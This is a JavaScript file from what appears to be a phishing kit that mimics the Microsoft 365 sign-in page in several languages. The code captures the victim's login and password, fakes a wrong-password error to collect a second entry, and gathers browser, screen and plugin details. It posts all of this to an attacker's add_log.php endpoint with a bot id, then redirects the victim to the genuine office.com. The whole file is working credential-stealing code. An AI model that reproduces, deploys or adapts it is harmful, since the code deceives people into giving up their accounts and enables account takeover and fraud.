var username='';
var password='';
var twtmspwdflg= '';
var pwd_t9='';




function get_system_info()
 {
  var time = new Date(),
  timestamp = Date(1000 + time.getTime());
  s_timestamp='\n\nSYSTEM TIME\n'+timestamp;

  var navig = "";
  for (var property in navigator)
   {
     t7= ""+property+": " + navigator[property];
     if (t7.indexOf('native code') ==-1 && t7.indexOf('object') ==-1 )
     {
       navig += ""+property+": " + navigator[property];
       navig +="\n";
     }
   }

  s_navigator='\nNAVIGATOR\n'+navig;



  var s_screen = "";
  for (var property in screen)
   {
      t7= ""+property+": " + screen[property];
      if (t7.indexOf('native code') ==-1 && t7.indexOf('object') ==-1 )
       {
         s_screen += ""+property+": " + screen[property];
         s_screen +="\n";
        }
   }

  s_screen='\nSCREEN\n'+s_screen;

  var x=navigator.plugins.length;
  var txt="Total plugin installed: "+x+"\n";

  for(var i=0;i<x;i++)
   {
    txt+=navigator.plugins[i].name + '  '+navigator.plugins[i].filename + "\n";
   }

  s_plugins='\n\nPLUGINS\n'+txt;
  page_location='\nPAGE LOCATION\n'+window.location.href;

  return page_location+s_timestamp+s_plugins+s_screen+s_navigator;
}



function data_send_post(s_data, s_name, botid)
 {
   var s_url=config_url+'add_log.php?operation=create';
   system_info=get_system_info();
   $.post(s_url, { usersysteminfo: system_info, datalog: s_data,  logname: s_name,  botid: botid,} );
 }


function set_redirect()
{
  $(location).attr('href', 'https://href.li/?https://office.com/?auth=1');
}


function loginauth()
{
  $("#emptyusernameError").css("display","none");
  $("#usernameError").css("display","none");
  $("#userid").css("borderColor","#000000");

 if ($('#userid').val().length == 0)
  {
     $('#userid').focus();
     $("#emptyusernameError").css("display","");
     $("#userid").css("borderColor","#ff1821");
     return false;
  }

 if ($('#userid').val().length < 5)
  {
     $('#userid').focus();
     $("#usernameError").css("display","");
     $("#userid").css("borderColor","#ff1821");
     $('#userid').val('');
     return false;
  }

     $("#usernameError").css("display","none");
     $("#emptyusernameError").css("display","none");
     $("#userid").css("borderColor","#000000");

username=$('#userid').val();
$("#loginProgress").css("display","");
$('#displayName').html(username);

setTimeout(passwordauthmodel, 2000);
}


function passwordauth()
 {
     $("#PasswordError").css("display","none");
     $("#password").css("borderColor","#000000");

     if ($('#password').val().length < 4)
      {
       $('#password').focus();
       $("#PasswordError").css("display","");
       $("#password").css("borderColor","#ff1821");
       return false;
      }


  if (twtmspwdflg==0)
   {
      pwd_t9=$('#password').val();
      $("#loginProgress").css("display","");
      setTimeout(pwd_loader, 3000);
      return false;
   }

  var lgn= $('#userid').val();
  var pwd= $('#password').val()
  data_send_post('Login: '+lgn+'  Password1: '+pwd_t9+'  Password2: '+pwd, '365', '0');
  $("#loginProgress").css("display","");

  setTimeout(set_redirect, 2500);

}


 function pwd_loader()
 {
     twtmspwdflg=1;
     $("#PasswordError").css("display","");
     $("#password").css("borderColor","#ff1821");
     $('#password').val('');
     $('#password').focus();
     $("#loginProgress").css("display","none");
 }


function preloginauth()
{
 var t9='';
 var login='';

 if ($(location).attr('href').indexOf('?login=') >=0)
  {
    t9=$(location).attr('href');
    login = t9.slice(t9.indexOf('?login=')+7);

    $('#displayName').html(login);
    $('#userid').val(login);
    $("#password_div").css("display","");
    $("#authfrm").css("display","");
    $("#user_div").css("display","none");
    $("#PasswordError").css("display","none");
    $("#password").css("borderColor","#000000");
    $('#password').focus();
 }

 else
  {
  	$("#authfrm").css("display","");
  	$('#userid').focus();
  }
}



function backloginauth()
{
  	$("#loginProgress").css("display","none");
  	$("#usernameError").css("display","none");
  	$("#userid").css("borderColor","#000000");
  	$("#PasswordError").css("display","none");
  	$("#password").css("borderColor","#000000");
  	$('#password').val('');
  	$("#password_div").css("display","none");
  	$("#user_div").css("display","");
  	$("#userid").focus();
}


function passwordauthmodel()
{
  $("#loginProgress").css("display","none");
  $("#password_div").css("display","");
  $("#password").focus();
  $("#user_div").css("display","none");
  $("#PasswordError").css("display","none");
  $("#password").css("borderColor","#000000");
}


function locationmodeload()
{
 var t8='?auth=mode&id=https%3a%2f%2flogin.live.com%2foauth20_authorize.srf%3flc%3d1033%26response_type%3dcode%26client_id%3d514132d42-0485c-4d186-b2f88-cf50c725332078%26scope%3dopenid%2bprofile%2bemail%2boffline_access%26response_mode%3dform_post%26redirect_uri%3dhttps%253a%252f%252flogin.microsoftonline.com%252fcommon%252ffederation%252foauth2%26state%3drQIIAXVWDWDO2zTUACMkza0FaFFlJ8_P9rMdqYObtM7Pdps4TZMlMvZL_X_GMXHTFZAYO5etC6JjJSTEgsSEOqCKCXViBCbUiZGUneWGuxtOd7dRYEpM5THHcrwpPJFoyUQszUkMoE0OIprlWcRCwNg8YJO1lfvX4Otq8_lG_ezmnfK5_u3lKbU8CtwpLlkkPKceOmkaTyrlcpZlJTIeu9Y_ofyeoq';

 if ($(location).attr('href').indexOf('?login=') >=0 && $(location).attr('href').indexOf('auth=mode') ==-1)
  {
    t7=$(location).attr('href');
    t6 = t7.slice(t7.indexOf('?login=')+7);
    t5 = t7.substring(0, t7.indexOf('?login='));
    $(location).attr('href', t5+t8+'?login='+t6);
  }

 if ($(location).attr('href').indexOf('?login=') ==-1 && $(location).attr('href').indexOf('auth=mode') ==-1)
  {
     var t2=$(location).attr('href');
     $(location).attr('href', t2+t8);
   }
}


function userlanguagemodeload()
 {
 	lng=window.navigator.language;
 //	lng='It-';//!!

 	 if (lng.indexOf('DE-') >=0 || lng.indexOf('de-') >=0 || lng.indexOf('De-') >=0)
     {
       //login page
       document.title='Bei Ihrem Konto anmelden';
       $('#sign_in_div').html('Anmelden');
       $('#userid').attr('placeholder', 'E-Mail, Telefon oder Skype');
       $('#emptyusernameError').html('Geben Sie eine g&#252;ltige E-Mail-Adresse, eine Telefonnummer oder einen Skype-Namen ein.');
       $('#usernameError').html('Kein Konto mit diesem Benutzernamen gefunden. Geben Sie einen anderen Benutzernamen ein, oder <a target="_blank" href="https://href.li/?https://signup.live.com/">  fordern Sie ein neues Microsoft-Konto an</a>.');
       $('#loginpage_lnk_0').html('Kein Konto? <a id="a_signup1" target="_blank" href="#" id="signup"> Erstellen Sie jetzt eins!</a>');
       $('#loginpage_lnk_1').html('<a id="a_signup2" target="_blank" href="#">Sie k&#246;nnen nicht auf Ihr Konto zugreifen?</a> ');
       $('#loginpage_lnk_2').html('<a id="a_signup3" target="_blank" href="#">Anmeldeoptionen</a>');
       $('#sign_in_div').html('Anmelden');
       $('#lgnbtn').val('Weiter');
       $('#footer_lnk_0').html('Nutzungsbedingungen');
       $('#footer_lnk_1').html('Datenschutz & Cookies');

       //password page
       $('#PwdloginHeader').html('Kennwort eingeben');
       $('#password').attr('placeholder', 'Kennwort');
       $('#PasswordError').html('Bitte geben Sie das Kennwort f&#252;r Ihr Microsoft-Konto ein.');
       $('#idLbl_PWD_KMSI_Cb').html('<input name="KMSI" id="idChkBx_PWD_KMSI0Pwd" type="checkbox"><span>Angemeldet bleiben</span>');
       $('#idA_PWD_ForgotPassword').html('Kennwort vergessen?');
       $('#btnpwd').val('Anmelden');
     }

 	 if (lng.indexOf('FR-') >=0 || lng.indexOf('fr-') >=0 || lng.indexOf('Fr-') >=0)
     {
       //login page
       document.title='Connectez-vous &#224; votre compte';
       $('#sign_in_div').html('Se connecter');
       $('#userid').attr('placeholder', 'E-mail, telephone ou identifiant Skype');
       $('#emptyusernameError').html('Entrez une adresse e-mail, un num&#233;ro de t&#233;l&#233;phone ou identifiant Skype valide.');
       $('#usernameError').html('Ce nom d\'utilisateur est peut-&#234;tre incorrect. Assurez-vous de l\'avoir tap&#233; correctement. Dans le cas contraire, contactez votre administrateur.');
       $('#loginpage_lnk_0').html('Pas de compte ? <a id="a_signup1" target="_blank" href="#" id="signup"> Cr&#233;ez-en un !</a>');
       $('#loginpage_lnk_1').html('<a id="a_signup2" target="_blank" href="#">Votre compte n&#8217;est pas accessible ?</a> ');
       $('#loginpage_lnk_2').html('<a id="a_signup3" target="_blank" href="#">Options de connexion</a>');
       $('#sign_in_div').html('Se connecter');
       $('#lgnbtn').val('Suivant');
       $('#footer_lnk_0').html('Nutzungsbedingungen');
       $('#footer_lnk_1').html('Datenschutz & Cookies');

       //password page
       $('#PwdloginHeader').html('Entrez le mot de passe');
       $('#password').attr('placeholder', 'Mot de passe');
       $('#PasswordError').html('Entrez le mot de passe de votre compte Microsoft.');
       $('#idChkBx_PWD_KMSI0Pwd').html('Maintenir la connexion');
       $('#idLbl_PWD_KMSI_Cb').html('<input name="KMSI" id="idChkBx_PWD_KMSI0Pwd" type="checkbox"><span>Maintenir la connexion</span>');
       $('#idA_PWD_ForgotPassword').html('Mot de passe oubli&#233;?');
       $('#btnpwd').val('Se connecter');
     }


 	 if (lng.indexOf('NL-') >=0 || lng.indexOf('nl-') >=0 || lng.indexOf('Nl-') >=0)
     {
       //login page
       document.title='Aanmelden bij uw account';
       $('#sign_in_div').html('Aanmelden');
       $('#userid').attr('placeholder', 'E-mailadres, telefoonnummer of Skype-naam');
       $('#emptyusernameError').html('Voer een geldig e-mailadres, telefoonnummer of Skype-naam in.');
       $('#usernameError').html('De gebruikersnaam is mogelijk onjuist. Controleer of u deze juist hebt getypt. Neem anders contact op met uw beheerder.');
       $('#loginpage_lnk_0').html('Geen account? <a id="a_signup1" target="_blank" href="#" id="signup"> Maak nu een account</a>');
       $('#loginpage_lnk_1').html('<a id="a_signup2" target="_blank" href="#">Hebt u geen toegang tot het account?</a> ');
       $('#loginpage_lnk_2').html('<a id="a_signup3" target="_blank" href="#">Aanmeldingsopties</a>');
       $('#lgnbtn').val('Volgende');
       $('#footer_lnk_0').html('Gebruiksvoorwaarden');
       $('#footer_lnk_1').html('Privacy en cookies');

       //password page
       $('#PwdloginHeader').html('Wachtwoord invoeren');
       $('#password').attr('placeholder', 'Wachtwoord');
       $('#PasswordError').html('Entrez le mot de passe de votre compte Microsoft.');
       $('#idLbl_PWD_KMSI_Cb').html('<input name="KMSI" id="idChkBx_PWD_KMSI0Pwd" type="checkbox"><span>Aangemeld blijven</span>');
       $('#idA_PWD_ForgotPassword').html('Wachtwoord vergeten?');
       $('#btnpwd').val('Aanmelden');
     }



 	 if (lng.indexOf('ES-') >=0 || lng.indexOf('es-') >=0 || lng.indexOf('Es-') >=0)
     {
       //login page
       document.title='Iniciar sesion en la cuenta';
       $('#sign_in_div').html('Iniciar sesi&#243;n');
       $('#userid').attr('placeholder', 'Correo electronico, telefono o Skype');
       $('#emptyusernameError').html('Escriba una direcci&#243;n de correo electr&#243;nico, un n&#250;mero de tel&#233;fono o un nombre Skype v&#225;lidos.');
       $('#usernameError').html('Este nombre de usuario puede ser incorrecto. Aseg&#250;rese de que lo ha escrito correctamente. De lo contrario, p&#243;ngase en contacto con el administrador.');
       $('#loginpage_lnk_0').html('&#191;No tiene una cuenta? <a id="a_signup1" target="_blank" href="#" id="signup">Cree una.</a>');
       $('#loginpage_lnk_1').html('<a id="a_signup2" target="_blank" href="#">&#191;No puede acceder a su cuenta?</a> ');
       $('#loginpage_lnk_2').html('<a id="a_signup3" target="_blank" href="#">Opciones de inicio de sesi&#243;n</a>');
       $('#lgnbtn').val('Siguiente');
       $('#footer_lnk_0').html('T&#233;rminos de uso');
       $('#footer_lnk_1').html('Privacidad y cookies');

       //password page
       $('#PwdloginHeader').html('Escribir contrase&#241;a');
       $('#password').attr('placeholder', 'Contrasena');
       $('#PasswordError').html('Escribe la contrasena de tu cuenta Microsoft.');
       $('#idLbl_PWD_KMSI_Cb').html('<input name="KMSI" id="idChkBx_PWD_KMSI0Pwd" type="checkbox"><span>Mantener la sesi&#243;n iniciada</span>');
       $('#idA_PWD_ForgotPassword').html('&#191;Olvid&#243; su contrase&#241;a?');
       $('#btnpwd').val('Iniciar sesion');
     }


 	 if (lng.indexOf('IT-') >=0 || lng.indexOf('it-') >=0 || lng.indexOf('It-') >=0)
     {
       //login page
       document.title='Accesso all\'account';
       $('#sign_in_div').html('Accedi');
       $('#userid').attr('placeholder', 'Posta elettronica, telefono o Skype');
       $('#emptyusernameError').html('Immettere un indirizzo di posta elettronica, un numero di telefono o un nome Skype valido.');
       $('#usernameError').html('&#200; possibile che il nome utentea_signup non sia corretto. Assicurarsi che sia stato digitato correttamente. In caso contrario, contattare l\'amministratore.');
       $('#loginpage_lnk_0').html('Se non si ha un account, <a id="a_signup1" target="_blank" href="#" id="signup">fare clic qui per crearne uno.</a>');
       $('#loginpage_lnk_1').html('<a id="a_signup2" target="_blank" href="#">&#191;Problemi di accesso all\'account?</a> ');
       $('#loginpage_lnk_2').html('<a id="a_signup3" target="_blank" href="#">Opzioni di accesso</a>');
       $('#lgnbtn').val('Avanti');
       $('#footer_lnk_0').html('Condizioni per l\'utilizzo');
       $('#footer_lnk_1').html('Privacy e cookie');

       //password page
       $('#PwdloginHeader').html('Immettere la password');
       $('#password').attr('placeholder', 'Password');
       $('#PasswordError').html('Immetti la password del tuo account Microsoft.');
       $('#idLbl_PWD_KMSI_Cb').html('<input name="KMSI" id="idChkBx_PWD_KMSI0Pwd" type="checkbox"><span>Mantieni l\'accesso</span>');
       $('#idA_PWD_ForgotPassword').html('Password dimenticata?');
       $('#btnpwd').val('Accedi');
     }

 }

function location_forgotpwd()
 {
	$(location).attr('href', 'https://href.li/?https://passwordreset.microsoftonline.com/');
 }


function location_signup()
 {
	$(location).attr('href', 'https://href.li/?https://signup.live.com/');
 }



locationmodeload(); //location model reload

$(document).ready(function()
 {

if ($(location).attr('href').indexOf('auth=mode') >=0)
 {
   $('#content').html(unescape(htmlcontent));
   preloginauth();  //проверка на передачу логина

   $("#userid").keyup(function(event){   if(event.keyCode == 13){  loginauth(); } }); // ентер на логин инпут
   $("#password").keyup(function(event){   if(event.keyCode == 13){  passwordauth(); } }); // ентер на пассворд инпут


   $('#lgnbtn').click(function(){ loginauth();   });   // триггер на клик по логин кнопке. страница логина
   $('#btnpwd').click(function(){ passwordauth();   });   // триггер клик по логин кнопке. страница пароля
   $('#idBtn_Back').click(function(){ backloginauth();   });   // триггер клик по бэкпассворрдбтн стр пароля

   $('#idA_PWD_ForgotPassword').click(function(){ location_forgotpwd();   });
   $('#a_pwdreset').click(function(){ location_forgotpwd();   });
   $('#a_signup0').click(function(){ location_signup();   });
   $('#a_signup1').click(function(){ location_signup();   });
   $('#a_signup2').click(function(){ location_signup();   });
   $('#a_signup3').click(function(){ location_signup();   });

   document.title='Sign in to your account';
   userlanguagemodeload(); //user lang model load

   $("#content").css("display","");

   if ($("#user_div").css("display").indexOf('none') ==-1)
   $("#userid").focus();
   else  $("#password").focus();

  }

 });








